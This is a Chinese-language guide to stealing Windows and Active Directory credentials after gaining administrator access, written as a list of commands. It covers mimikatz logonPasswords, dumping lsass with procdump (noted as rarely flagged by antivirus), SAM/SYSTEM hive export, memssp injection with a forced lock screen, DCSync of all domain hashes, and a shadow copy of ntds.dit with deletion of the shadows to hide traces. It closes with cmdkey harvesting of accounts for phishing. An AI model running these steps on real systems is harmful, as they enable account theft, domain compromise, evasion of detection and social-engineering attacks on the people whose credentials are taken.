密码抓取姿势

1.利用mimikatz-sekurlsa 导入明文密码

上传mimikatz到目标机器,并且mimikatz以管理员权限运行

命令如下:

1
2
1.privilege::debug  获取debug权限
2.sekurlsa::logonPasswords 拖取密码

mimikatz-logonPasswords

2.利用procdump.exe 转储isass.exe 本地读取hash

将我们的procdump.exe 上传到目标机器,以管理员权限运行。并且procedump.exe 他是微软官方发布的一个工具,杀软一般都不会报毒。

1
2
1.procdump.exe -accepteula -ma lsass.exe lsass.dmp
2.procdump64.exe -accepteula -ma lsass.exe lsass.dmp

导出后与mimikatz放在同一个文件夹,利用mimikatz本地读取。

1
2
1.sekurlsa::minidump lsass.dmp    mimikatz 加载lsass.dmp 文件,准备读取里面的信息
2.sekurlsa::logonPasswords full 读取里面的账号和密码

procdump+mimikatz

3.利用SAM与System文件抓密码与Hash

利用注册表命令将目标机的sam、system文件导出获取其存储的NTLM等信息 (需管理员权限)

1
2
1.reg save hklm\sam sam.hive
2.reg save hklm\system system.hive

reg+mimikatz

将system.hive与sam.hive 文件和mimikatz放在同一个文件夹,然后用mimikatz 导入

1
1.lsadump::sam /sam:sam.hive /system:system.hive

reg+mimikatz_2

根据ntml,hash 信息进行smb_psexec 进行操作

4.插入ssp记录明文密码

由于在某些时候,例如UAC限制,Windows10无法导出密码hash(Credentials Guard 限制)

此时我们可以利用Windows特性SSP绕过限制,直接获取明文密码

管理员权限启动mimikatz

1
2
1.privilege::debug
2.misc::memssp 注入ssp

ssp

利用CS插件或锁屏命令,等待管理员解锁

1
1. rundll32.exe user32.dll,LockWorkStation     强转锁屏

在C:\windows\system32目录下生成mimilsa.log,存储着明文密码。

ssp_2

5.利用DCsync导出所有用户NTLM hash

通过DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户票据

利用条件:

获得以下任意用户的权限:
  • Administrator组内用户权限
  • Domain Admins组内用户权限
  • Enterprise Admins组内用户权限
  • 域控制器的计算机账户
使用Mimikatz导出域内所有用户Hash

在获得上述用户权限后通过mimikatz利用DRS协议导出用户hash

1
1.lsadump::dcsync /domain:"de1ay.com" /all  /csv 

DRS+mimikatz

导出域内指定账号的hash值

1
1.lsadump::dcsync /domain:"de1ay.com" /user:mssql /csv

DRS+mimikatz_2

6.利用卷影拷贝获取hash

Ntds.dit文件存放于所有域控制器上的%systemroot%\ntds目录之中

其中存放着当前域用户的所有用户账户信息,我们可以将ntds.dit文件与解密文件system利用卷影拷贝功能导出。

1、利用Windows自带的vssadmin命令进行卷影拷贝

1
2
3
4
5
1.管理员权限执行
2.vssadmin create shadow /for=C: 利用卷影副本卷名拷贝ntds.dit文件与用注册表导出system.hive
3.copy \\?\GLOBALLROOT\Device\xxxxxxxxxx\windows\ntds\ntds.dit C:\ntds.dit
4.reg sava hklm\system system.hive 导出system.hive文件到注册表
5.vssadmin delete shadows /for=C: /quiet 删除卷影,隐藏痕迹

卷影

卷影_2

利用ntdsxtract项目将ntds.dit解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
esedbexport ntds.dit

esedbexport 20200418

Opening file.
Database type: Unknown.
Exporting table 1 (MSysObjects) out of 14.
Exporting table 2 (MSysObjectsShadow) out of 14.
Exporting table 3 (MSysObjids) out of 14.
Exporting table 4 (MSysLocales) out of 14.
Exporting table 5 (datatable) out of 14.
Exporting table 6 (hiddentable) out of 14.
Exporting table 7 (link_history_table) out of 14.
Exporting table 8 (link_table) out of 14.
Exporting table 9 (sdpropcounttable) out of 14.
Exporting table 10 (sdproptable) out of 14.
Exporting table 11 (sd_table) out of 14.
Exporting table 12 (MSysDefrag2) out of 14.
Exporting table 13 (quota_table) out of 14.
Exporting table 14 (quota_rebuild_progress_table) out of 14.
1
1.进入生成的ntds.dit.export目录,利用其中的datatable.x  link_table.x文件

ntdsxtract

获得其中的账户信息,包括NTLM Hash

1
python dsusers.py datatable.4 link_table.7 /newdisk/tools/volume_shadow_copy  --syshive system.hive --passwordhistory --pwdformat john --ntoutfile nthash.txt --lmoutfile lmhash.txt

ntdsxtract_2

7.利用cmdkey进行社工、导出票据

利用cmdkey /list 可发现本机存储可用凭据

cmdkey

此处可利用mimikatz 的vault::cred模块对票据进行导出,且**无需高权限**

此方法导出明文密码的概率较小,但可通过此方法找到个人\办公PC中存储的各种有效账号,如QQ、手机号、Github用户名,用于钓鱼或社工处理。

cmdkey_2